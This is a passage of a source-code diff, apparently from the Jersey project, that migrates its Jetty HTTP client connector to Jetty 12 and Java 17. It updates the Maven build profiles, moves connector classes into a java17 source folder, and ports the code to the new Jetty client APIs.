<jetty.version>${jetty9.version}</jetty.version> + <jetty.version>${jetty11.version}</jetty.version> </properties> - <dependencies> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-client</artifactId> - <version>${jetty.version}</version> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-util</artifactId> - <version>${jetty.version}</version> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - </dependencies> - <build> - <directory>${java8.build.outputDirectory}</directory> - <plugins> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <phase>generate-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>${java8.sourceDirectory}</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <configuration> - <testExcludes> - <testExclude>org/glassfish/jersey/jetty/connector/*.java</testExclude> - </testExcludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>Jetty11</id> - <activation> - <jdk>[11,)</jdk> - </activation> <build> <directory>${java11.build.outputDirectory}</directory> <plugins> @@ -225,17 +149,54 @@ </execution> </executions> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + <configuration> + <testExcludes> + <testExclude>org/glassfish/jersey/jetty/connector/*.java</testExclude> + </testExcludes> + </configuration> + </plugin> </plugins> </build> </profile> <profile> - <id>copyJDK11FilesToMultiReleaseJar</id> + <id>JettyInclude</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <build> + <directory>${java17.build.outputDirectory}</directory> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <executions> + <execution> + <phase>generate-sources</phase> + <goals> + <goal>add-source</goal> + </goals> + <configuration> + <sources> + <source>${java17.sourceDirectory}</source> + </sources> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + </profile> + <profile> + <id>copyJDK17FilesToMultiReleaseJar</id> <activation> <file> - <!-- ${java11.build.outputDirectory} does not work here --> - <exists>target11/classes/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.class</exists> + <!-- ${java17.build.outputDirectory} does not work here --> + <exists>target17/classes/org/glassfish/jersey/jetty/connector/JettyConnector.class</exists> </file> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -256,16 +217,16 @@ <inherited>true</inherited> <executions> <execution> - <id>copy-jdk11-classes</id> + <id>copy-jdk17-classes</id> <phase>prepare-package</phase> <goals> <goal>copy-resources</goal> </goals> <configuration> - <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory> + <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory> <resources> <resource> - <directory>${java11.build.outputDirectory}/classes</directory> + <directory>${java17.build.outputDirectory}/classes</directory> </resource> </resources> </configuration> @@ -277,14 +238,14 @@ <artifactId>maven-antrun-plugin</artifactId> <executions> <execution> - <id>copy-jdk11-sources</id> + <id>copy-jdk17-sources</id> <phase>package</phase> <configuration> <target> - <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> + <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> <echo>sources-jar: ${sources-jar}</echo> <zip destfile="${sources-jar}" update="true"> - <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/> + <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/> </zip> </target> </configuration> @@ -298,5 +259,4 @@ </build> </profile> </profiles> - </project>
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java index dfd3b79..50ec6bd 100644 --- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java +++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,16 +18,10 @@ import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; -import jakarta.ws.rs.core.Configurable; import jakarta.ws.rs.core.Configuration; - -import org.glassfish.jersey.client.Initializable; import org.glassfish.jersey.client.spi.Connector; import org.glassfish.jersey.client.spi.ConnectorProvider; -import org.eclipse.jetty.client.HttpClient; -import org.glassfish.jersey.internal.util.JdkVersion; - /** * A {@link ConnectorProvider} for Jersey {@link Connector connector} * instances that utilize the Jetty HTTP Client to send and receive @@ -86,43 +80,6 @@ @Override public Connector getConnector(Client client, Configuration runtimeConfig) { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - return new JettyConnector(client, runtimeConfig); - } - - /** - * Retrieve the underlying Jetty {@link org.eclipse.jetty.client.HttpClient} instance from - * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget} - * configured to use {@code JettyConnectorProvider}. - * - * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use - * {@code JettyConnectorProvider}. - * @return underlying Jetty {@code HttpClient} instance. - * - * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient} - * nor {@code JerseyWebTarget} instance or in case the component - * is not configured to use a {@code JettyConnectorProvider}. - * @since 2.8 - */ - public static HttpClient getHttpClient(Configurable<?> component) { - if (!(component instanceof Initializable)) { - throw new IllegalArgumentException( - LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); - } - - final Initializable<?> initializable = (Initializable<?>) component; - Connector connector = initializable.getConfiguration().getConnector(); - if (connector == null) { - initializable.preInitialize(); - connector = initializable.getConfiguration().getConnector(); - } - - if (connector instanceof JettyConnector) { - return ((JettyConnector) connector).getHttpClient(); - } - - throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } }
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java index b061ef5..6453521 100644 --- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java +++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java index dc43fb3..2b9e8b2 100644 --- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java +++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java similarity index 87% copy from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java copy to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java index d85ec4d..aa8f0e6 100644 --- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java +++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -16,46 +16,6 @@ package org.glassfish.jersey.jetty.connector; -import jakarta.ws.rs.ProcessingException; -import jakarta.ws.rs.client.Client; -import jakarta.ws.rs.core.Configuration; -import jakarta.ws.rs.core.MultivaluedMap; -import org.eclipse.jetty.client.HttpClient; -import org.eclipse.jetty.client.HttpClientTransport; -import org.eclipse.jetty.client.HttpProxy; -import org.eclipse.jetty.client.ProxyConfiguration; -import org.eclipse.jetty.client.api.AuthenticationStore; -import org.eclipse.jetty.client.api.ContentProvider; -import org.eclipse.jetty.client.api.ContentResponse; -import org.eclipse.jetty.client.api.Request; -import org.eclipse.jetty.client.api.Response; -import org.eclipse.jetty.client.api.Result; -import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP; -import org.eclipse.jetty.client.util.BasicAuthentication; -import org.eclipse.jetty.client.util.BytesContentProvider; -import org.eclipse.jetty.client.util.FutureResponseListener; -import org.eclipse.jetty.client.util.OutputStreamContentProvider; -import org.eclipse.jetty.http.HttpField; -import org.eclipse.jetty.http.HttpFields; -import org.eclipse.jetty.http.HttpHeader; -import org.eclipse.jetty.io.ClientConnector; -import org.eclipse.jetty.util.HttpCookieStore; -import org.eclipse.jetty.util.Jetty; -import org.eclipse.jetty.util.ssl.SslContextFactory; -import org.eclipse.jetty.util.thread.QueuedThreadPool; -import org.glassfish.jersey.client.ClientProperties; -import org.glassfish.jersey.client.ClientRequest; -import org.glassfish.jersey.client.ClientResponse; -import org.glassfish.jersey.client.innate.ClientProxy; -import org.glassfish.jersey.client.spi.AsyncConnectorCallback; -import org.glassfish.jersey.client.spi.Connector; -import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream; -import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream; -import org.glassfish.jersey.message.internal.HeaderUtils; -import org.glassfish.jersey.message.internal.OutboundMessageContext; -import org.glassfish.jersey.message.internal.Statuses; - -import javax.net.ssl.SSLContext; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.FilterInputStream; @@ -76,10 +36,52 @@ import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.atomic.AtomicReference; -import java.util.function.Consumer; import java.util.logging.Level; import java.util.logging.Logger; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.MultivaluedMap; + +import javax.net.ssl.SSLContext; + +import org.eclipse.jetty.client.AuthenticationStore; +import org.eclipse.jetty.client.BasicAuthentication; +import org.eclipse.jetty.client.ByteBufferRequestContent; +import org.eclipse.jetty.client.ContentResponse; +import org.eclipse.jetty.client.FutureResponseListener; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.client.OutputStreamRequestContent; +import org.eclipse.jetty.client.Request; +import org.eclipse.jetty.client.Response; +import org.eclipse.jetty.client.Result; +import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP; +import org.eclipse.jetty.client.transport.HttpRequest; +import org.eclipse.jetty.http.HttpCookieStore; +import org.eclipse.jetty.io.ClientConnector; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.client.innate.ClientProxy; +import org.glassfish.jersey.client.spi.AsyncConnectorCallback; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream; +import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream; +import org.glassfish.jersey.message.internal.HeaderUtils; +import org.glassfish.jersey.message.internal.OutboundMessageContext; +import org.glassfish.jersey.message.internal.Statuses; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpProxy; +import org.eclipse.jetty.client.ProxyConfiguration; +import org.eclipse.jetty.http.HttpField; +import org.eclipse.jetty.http.HttpFields; +import org.eclipse.jetty.http.HttpHeader; +import org.eclipse.jetty.util.Jetty; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.eclipse.jetty.util.thread.QueuedThreadPool; + /** * A {@link Connector} that utilizes the Jetty HTTP Client to send and receive * HTTP request and responses. @@ -134,7 +136,7 @@ private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName()); private final HttpClient client; - private final CookieStore cookieStore; + private final HttpCookieStore cookieStore; private final Configuration configuration; private final Optional<Integer> syncListenerResponseMaxSize; @@ -144,7 +146,7 @@ * @param jaxrsClient JAX-RS client instance, for which the connector is created. * @param config client configuration. */ - protected JettyConnector(final Client jaxrsClient, final Configuration config) { + public JettyConnector(final Client jaxrsClient, final Configuration config) { this.configuration = config; HttpClient httpClient = getRegisteredHttpClient(config); @@ -202,13 +204,13 @@ }); if (disableCookies) { - client.setCookieStore(new HttpCookieStore.Empty()); + client.setHttpCookieStore(new HttpCookieStore.Empty()); } final Object slResponseMaxSize = configuration.getProperties() - .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE); + .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE); if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer - && (Integer) slResponseMaxSize > 0) { + && (Integer) slResponseMaxSize > 0) { this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize); } else { @@ -220,7 +222,7 @@ } catch (final Exception e) { throw new ProcessingException("Failed to start the client.", e); } - this.cookieStore = client.getCookieStore(); + this.cookieStore = client.getHttpCookieStore(); } /** @@ -270,7 +272,7 @@ * @return the {@link CookieStore} instance or null when * JettyClientProperties.DISABLE_COOKIES set to true. */ - public CookieStore getCookieStore() { + public HttpCookieStore getCookieStore() { return cookieStore; } @@ -278,10 +280,10 @@ public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException { final Request jettyRequest = translateRequest(jerseyRequest); final Map<String, String> clientHeadersSnapshot = new HashMap<>(); - final ContentProvider entity = + final Request.Content entity = getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest); if (entity != null) { - jettyRequest.content(entity); + jettyRequest.body(entity); } else { clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest)); } @@ -293,12 +295,12 @@ } else { final FutureResponseListener listener - = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get()); + = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get()); jettyRequest.send(listener); jettyResponse = listener.get(); } HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(), - JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); + JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null ? Statuses.from(jettyResponse.getStatus()) @@ -364,19 +366,19 @@ private Map<String, String> writeOutBoundHeaders(final MultivaluedMap<String, Object> headers, final Request request) { final Map<String, String> stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration); - final Consumer<HttpFields.Mutable> mutableConsumer = httpFields -> { - // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version) - httpFields.remove(HttpHeader.USER_AGENT); - for (final Map.Entry<String, String> e : stringHeaders.entrySet()) { - httpFields.put(e.getKey(), e.getValue()); - } - }; - request.headers(mutableConsumer); + // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version) + request.headers(httpFields -> httpFields.remove(HttpHeader.USER_AGENT)); + if (request instanceof HttpRequest) { + final HttpRequest httpRequest = (HttpRequest) request; + for (final Map.Entry<String, String> e : stringHeaders.entrySet()) { + httpRequest.headers(httpFields -> httpFields.put(new HttpField(e.getKey(), e.getValue()))); + } + } return stringHeaders; } - private ContentProvider getBytesProvider(final ClientRequest clientRequest, + private Request.Content getBytesProvider(final ClientRequest clientRequest, final MultivaluedMap<String, Object> headers, final Map<String, String> snapshot, final Request request) { @@ -400,17 +402,22 @@ } catch (final IOException e) { throw new ProcessingException("Failed to write request entity.", e); } - return new BytesContentProvider(outputStream.toByteArray()); + return new ByteBufferRequestContent(ByteBuffer.wrap(outputStream.toByteArray())); } - private ContentProvider getStreamProvider(final ClientRequest clientRequest) { + private Request.Content getStreamProvider(final ClientRequest clientRequest) { final Object entity = clientRequest.getEntity(); if (entity == null) { return null; } - final OutputStreamContentProvider streamContentProvider = new OutputStreamContentProvider(); + String contentTypeHeader = clientRequest.getRequestHeaders() + .getFirst(HttpHeader.CONTENT_TYPE.asString()); + + String contentType = contentTypeHeader != null ? contentTypeHeader : "application/octet-stream"; + + final OutputStreamRequestContent streamContentProvider = new OutputStreamRequestContent(contentType); clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() { @Override public OutputStream getOutputStream(final int contentLength) throws IOException { @@ -420,12 +427,12 @@ return streamContentProvider; } - private void processContent(final ClientRequest clientRequest, final ContentProvider entity) throws IOException { + private void processContent(final ClientRequest clientRequest, final Request.Content entity) throws IOException { if (entity == null) { return; } - final OutputStreamContentProvider streamContentProvider = (OutputStreamContentProvider) entity; + final OutputStreamRequestContent streamContentProvider = (OutputStreamRequestContent) entity; try (final OutputStream output = streamContentProvider.getOutputStream()) { clientRequest.writeEntity(); } @@ -435,31 +442,31 @@ public Future<?> apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback callback) { final Request jettyRequest = translateRequest(jerseyRequest); final Map<String, String> clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest); - final ContentProvider entity = getStreamProvider(jerseyRequest); + final Request.Content entity = getStreamProvider(jerseyRequest); if (entity != null) { - jettyRequest.content(entity); + jettyRequest.body(entity); } final AtomicBoolean callbackInvoked = new AtomicBoolean(false); final Throwable failure; try { final CompletableFuture<ClientResponse> responseFuture = new CompletableFuture<ClientResponse>(); responseFuture.whenComplete( - (clientResponse, throwable) -> { - if (throwable != null && throwable instanceof CancellationException) { - // take care of future cancellation - jettyRequest.abort(throwable); + (clientResponse, throwable) -> { + if (throwable != null && throwable instanceof CancellationException) { + // take care of future cancellation + jettyRequest.abort(throwable); - } - }); + } + }); final AtomicReference<ClientResponse> jerseyResponse = new AtomicReference<>(); final ByteBufferInputStream entityStream = new ByteBufferInputStream(); - jettyRequest.send(new Response.Listener.Adapter() { + jettyRequest.send(new Response.Listener() { @Override public void onHeaders(final Response jettyResponse) { HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(), - JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); + JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration()); if (responseFuture.isDone()) { if (!callbackInvoked.compareAndSet(false, true)) { @@ -528,7 +535,7 @@ } private static ClientResponse translateResponse(final ClientRequest jerseyRequest, - final org.eclipse.jetty.client.api.Response jettyResponse, + final org.eclipse.jetty.client.Response jettyResponse, final NonBlockingInputStream entityStream) { final ClientResponse jerseyResponse = new ClientResponse(Statuses.from(jettyResponse.getStatus()), jerseyRequest); processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse); @@ -549,4 +556,4 @@ throw new ProcessingException("Failed to stop the client.", e); } } -} +} \ No newline at end of file
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java new file mode 100644 index 0000000..43a08ce --- /dev/null +++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -0,0 +1,123 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; + +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.client.spi.ConnectorProvider; + +import org.eclipse.jetty.client.HttpClient; + +/** + * A {@link ConnectorProvider} for Jersey {@link Connector connector} + * instances that utilize the Jetty HTTP Client to send and receive + * HTTP request and responses. + * <p> + * The following connector configuration properties are supported: + * <ul> + * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li> + * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li> + * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>* + * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li> + * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li> + * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li> + * </ul> + * </p> + * <p> + * This transport supports both synchronous and asynchronous processing of client requests. + * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE. + * </p> + * <p> + * Typical usage: + * </p> + * <pre> + * {@code + * ClientConfig config = new ClientConfig(); + * config.connectorProvider(new JettyConnectorProvider()); + * Client client = ClientBuilder.newClient(config); + * + * // async request + * WebTarget target = client.target("http://localhost:8080"); + * Future<Response> future = target.path("resource").request().async().get(); + * + * // wait for 3 seconds + * Response response = future.get(3, TimeUnit.SECONDS); + * String entity = response.readEntity(String.class); + * client.close(); + * } + * </pre> + * <p> + * Connector instances created via Jetty HTTP Client-based connector provider support only + * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}. + * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no + * effect on Jetty HTTP Client-based connectors. + * </p> + * + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + * @since 2.5 + */ +public class JettyConnectorProvider implements ConnectorProvider { + + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + return new JettyConnector(client, runtimeConfig); + } + + /** + * Retrieve the underlying Jetty {@link org.eclipse.jetty.client.HttpClient} instance from + * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget} + * configured to use {@code JettyConnectorProvider}. + * + * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use + * {@code JettyConnectorProvider}. + * @return underlying Jetty {@code HttpClient} instance. + * + * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient} + * nor {@code JerseyWebTarget} instance or in case the component + * is not configured to use a {@code JettyConnectorProvider}. + * @since 2.8 + */ + public static HttpClient getHttpClient(Configurable<?> component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable<?> initializable = (Initializable<?>) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof JettyConnector) { + return ((JettyConnector) connector).getHttpClient(); + } + + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } +}
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java similarity index 93% copy from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java copy to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java index b061ef5..6453521 100644 --- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java +++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java similarity index 84% rename from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java rename to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java index 59c8fd3..2b9e8b2 100644 --- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java +++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -15,9 +15,7 @@ */ package org.glassfish.jersey.jetty.connector; -import jakarta.ws.rs.ProcessingException; import org.eclipse.jetty.client.HttpClient; -import org.glassfish.jersey.internal.util.JdkVersion; /** * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}. @@ -53,9 +51,6 @@ @Override public HttpClient getHttpClient() { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - return null; // does not work at JDK 1.8 + return httpClient; } }
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java deleted file mode 100644 index 8723025..0000000 --- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java +++ /dev/null
@@ -1,44 +0,0 @@ -/* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.jetty.connector; - -import jakarta.ws.rs.ProcessingException; -import jakarta.ws.rs.client.Client; -import jakarta.ws.rs.core.Configuration; - -import org.glassfish.jersey.client.spi.Connector; -import org.glassfish.jersey.client.spi.ConnectorProvider; - -import org.glassfish.jersey.internal.util.JdkVersion; - -/** - * JDK 1.8 Jetty Connector stub which only throws exception when running on JDK 1.8 - * New Jetty (11+) does not support JDKs prior to 11 - * - * @since 3.0.0 - */ -public class JettyConnectorProvider implements ConnectorProvider { - - @Override - public Connector getConnector(Client client, Configuration runtimeConfig) { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - return null; // does not work at JDK 1.8 - } - -}
diff --git a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties index 128d40b..6561153 100644 --- a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties +++ b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
@@ -1,5 +1,5 @@ # -# Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -18,4 +18,4 @@ method.not.supported=Method {0} not supported. invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget. expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider. -not.supported=Jetty connector is not supported on JDK version less than 11. +not.supported=Jetty connector is not supported on JDK version less than 17.
